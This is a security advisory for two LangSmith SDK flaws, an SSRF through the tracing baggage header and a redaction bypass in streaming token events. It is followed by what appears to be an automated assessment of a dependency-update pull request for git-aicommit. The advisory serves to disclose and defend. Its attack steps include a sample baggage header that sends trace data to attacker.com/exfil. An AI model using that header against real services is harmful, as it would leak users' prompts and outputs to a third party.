CVE-2026-25528

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]

  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.

Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic
Severity
  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

GHSA-rr7j-v2q5-chgv

Summary

The LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.

Details

Both JS and Python SDKs are affected. The same pattern exists in both:

  • JS SDK: traceable.ts:997-1003 and traceable.ts:1044-1050
  • Python SDK: run_helpers.py:1924 and run_helpers.py:1996

In both SDKs, new_token events with raw kwargs.token values are added during streaming, and the redaction pipeline (hideOutputs in JS, hide_outputs in Python) only processes inputs/outputs — never events.

Severity
  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

⚖️ Safety Assessment: ✅ Safe

🔍 Release Content Analysis

Security Fixes Addressed

This update addresses two critical security vulnerabilities:

  1. CVE-2026-25528 (GHSA-v34v-rq6j-cj6p) - SSRF via Distributed Tracing Headers

    • Severity: Medium (CVSS 5.8)
    • Vulnerability: Attackers could inject malicious api_url values through the baggage HTTP header, causing data exfiltration to attacker-controlled servers
    • Affected versions: Python ≥0.4.10, <0.6.3
    • Fixed in: 0.6.3
    • Impact: LLM prompts, outputs, and metadata could be sent to attacker servers; potential SSRF attacks on internal services

  2. GHSA-rr7j-v2q5-chgv - Output Redaction Bypass in Streaming Events

    • Severity: Medium (CVSS 5.3)
    • Vulnerability: Output redaction controls failed to apply to streaming token events, exposing sensitive LLM output
    • Affected versions: Python ≤0.7.30
    • Fixed in: 0.7.31
    • Impact: Data leakage through run event records despite redaction settings

Major Version Changes

The update jumps from 0.4.43 → 0.7.32 (via 0.7.31), spanning approximately 150+ releases across several months. Key changes include:

  • New dependencies: Adds uuid-utils and xxhash libraries
  • Security hardening: Implements allowlist filtering for replica configurations and proper token event redaction
  • Feature additions: Enhanced tracing metadata, improved error handling, sandbox features, and various API improvements
  • Dependency updates: Multiple bumps to underlying packages (langchain-core, cryptography, etc.)

🎯 Impact Scope Investigation

Current Usage Analysis

Limited LangSmith Usage in git-aicommit:

  • Import: from langsmith import tracing_context (cli.py:14)
  • Usage: Wraps AI generation calls in optional tracing context (cli.py:141-144)
  • Configuration: Only enabled when GIT_AICOMMIT_LANGSMITH_PROJECT environment variable is set

Vulnerability Impact Assessment:

  1. SSRF Vulnerability (CVE-2026-25528):

    • ❌ NOT VULNERABLE - git-aicommit does not use:
      • RunTree.from_headers() or distributed tracing features
      • HTTP header parsing for trace propagation
      • Replica configurations

  2. Output Redaction Vulnerability (GHSA-rr7j-v2q5-chgv):

    • ❌ NOT VULNERABLE - git-aicommit does not use:
      • hideOutputs or hide_outputs redaction controls
      • Streaming token events
      • Output filtering features

API Compatibility:

  • ✅ tracing_context API remains stable across versions
  • ✅ No breaking changes affecting current usage pattern
  • ✅ New dependencies (uuid-utils, xxhash) are internal to langsmith

Dependency Chain Impact

The update introduces two new transitive dependencies:

  • uuid-utils (0.14.0): UUID generation and manipulation (safe addition)
  • xxhash (3.6.0): Fast hashing algorithm (safe addition, widely used)

Both are stable, well-maintained packages with no known security issues.

💡 Recommended Actions

Immediate Actions:

  1. ✅ Merge this PR - The update is safe and addresses important security vulnerabilities
  2. ✅ No code changes required - Current usage is fully compatible
  3. ✅ No configuration changes needed - Existing behavior is preserved

Why This Is Safe:

  • git-aicommit uses only the basic tracing_context API, which remains stable
  • The vulnerabilities affect features not used by this project (distributed tracing headers, output redaction)
  • The update is backward compatible for the limited API surface used
  • New dependencies are transparent to users and pose no compatibility issues

Optional Follow-up:

  • Consider testing with GIT_AICOMMIT_LANGSMITH_PROJECT environment variable set to verify tracing still works (if you use this feature)
  • No other testing or migration work required
